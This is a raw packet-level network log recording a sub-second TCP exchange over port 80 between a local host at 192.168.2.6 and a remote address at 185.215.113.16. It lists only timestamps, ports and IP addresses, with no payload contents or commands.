Oct 24, 2024 11:02:34.819271088 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.819297075 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.819339037 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.819353104 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.819363117 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.819382906 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.819385052 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.819395065 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.819405079 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.819417000 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.819422007 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.819431067 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.819441080 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.819467068 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.819500923 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.819511890 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.819523096 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.819534063 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.819546938 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.819567919 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.819578886 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.819582939 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.819591045 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.819602966 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.819613934 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.819641113 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.820244074 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.820272923 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.820286036 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.820312977 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.820480108 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.820519924 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.108614922 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.179888964 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.218683958 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.218779087 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.218818903 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.218841076 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.218854904 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.218890905 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.218905926 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.218925953 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.218961000 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.218990088 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.218990088 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.219023943 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.219048977 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.219058990 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.219091892 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.219125986 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.219145060 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.219161987 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.219187021 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.219197035 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.219230890 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.219252110 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.219266891 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.219300032 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.219347000 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.219413996 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.219474077 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.219795942 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.219847918 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.219857931 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.219902992 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.219950914 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.219985008 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.220031977 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.220045090 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.220063925 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.220139027 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.220168114 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.220196962 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.220216990 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.220252037 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.220283985 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.220303059 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.220318079 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.220339060 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.220370054 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.220403910 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.220432043 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.220484972 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.220541000 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.220550060 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.220575094 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.220609903 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.220634937 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.220643997 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.220695972 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.220746994 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.220776081 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.220782995 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.220817089 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.220834970 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.220850945 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.220881939 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.220907927 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.220937014 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.220944881 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.220987082 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.221020937 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.221036911 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.221081972 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.221124887 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.221168995 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.221174955 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.221203089 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.221214056 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.221239090 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.221275091 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.221293926 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.221313953 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.221348047 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.221379995 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.221395016 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.221412897 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.221417904 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.221446037 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.221481085 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.221512079 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.221529007 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.221549988 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.221559048 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.221574068 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.221592903 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.221620083 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.221627951 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.221659899 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.221693993 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.221714020 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.221729040 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.221749067 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.221761942 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.221793890 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.221847057 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.221868038 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.221879959 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.221892118 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.221918106 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.221954107 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.221992016 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.221997976 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.222027063 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.222044945 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.222060919 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.222095966 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.222129107 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.222148895 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.222162962 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.222177982 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.222197056 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.222230911 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.222264051 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.222282887 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.222297907 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.222313881 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.222332001 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.222368956 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.222403049 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.222420931 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.222435951 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.222459078 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.222470045 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.222501993 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.222536087 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.222570896 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.222572088 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.222601891 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.222606897 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.222642899 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.222676039 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.222697973 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.222711086 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.222723007 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.222743034 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.222774982 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.222810030 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.222830057 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.222843885 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.222852945 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.222877026 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.222912073 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.222930908 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.223087072 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.223155022 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.227533102 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.227557898 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.227571964 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.227591991 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.227602959 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.227616072 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.227617979 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.227629900 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.227638006 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.227677107 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.227754116 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.227766037 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.227777004 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.227788925 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.227801085 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.227804899 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.227813005 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.227824926 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.227838039 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.227845907 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.227852106 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.227888107 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.227911949 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.227926016 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.227937937 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.227948904 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.227956057 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.227967978 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.227973938 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.227979898 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.227996111 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.228003025 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.228015900 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.228017092 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.228029013 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.228038073 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.228043079 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.228055954 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.228058100 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.228068113 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.228080034 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.228089094 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.228091955 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.228104115 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.228116035 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.228127956 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.228144884 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.228152990 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.228163958 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.228168011 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.228177071 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.228210926 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.228229046 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.228343964 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.228358030 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.228370905 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.228383064 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.228394032 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.228404999 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.228419065 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.228430986 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.228430986 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.228430986 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.228442907 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.228456020 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.228466034 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.228466988 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.228473902 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.228485107 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.228504896 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.228513002 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.228518009 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.228530884 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.228542089 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.228550911 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.228553057 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.228564024 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.228573084 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.228574991 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.228611946 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.228635073 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.228650093 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.228666067 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.228679895 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.228693962 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.228707075 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.228713989 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.228720903 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.228734970 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.228735924 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.228750944 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.228765965 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.228770018 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.228785038 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.228794098 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.228800058 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.228811979 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.228822947 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.228835106 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.228837967 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.228862047 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.228884935 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.228904963 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.228919983 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.228931904 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.228951931 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.228962898 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.228964090 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.228975058 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.228981018 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.228987932 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.229005098 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.229022980 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.229038000 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.229048967 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.229049921 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.229064941 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.229078054 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.229087114 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.229125023 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.229134083 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.229137897 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.229150057 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.229161024 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.229166985 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.229173899 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.229192972 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.229201078 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.229212046 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.229213953 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.229226112 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.229258060 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.229285002 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.229305983 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.229319096 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.229331017 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.229343891 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.229356050 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.229362965 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.229365110 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.229367971 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.229423046 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.229427099 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.229435921 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.229448080 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.229461908 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.229474068 CEST	49756	80	192.168.2.6	185.215.113.16
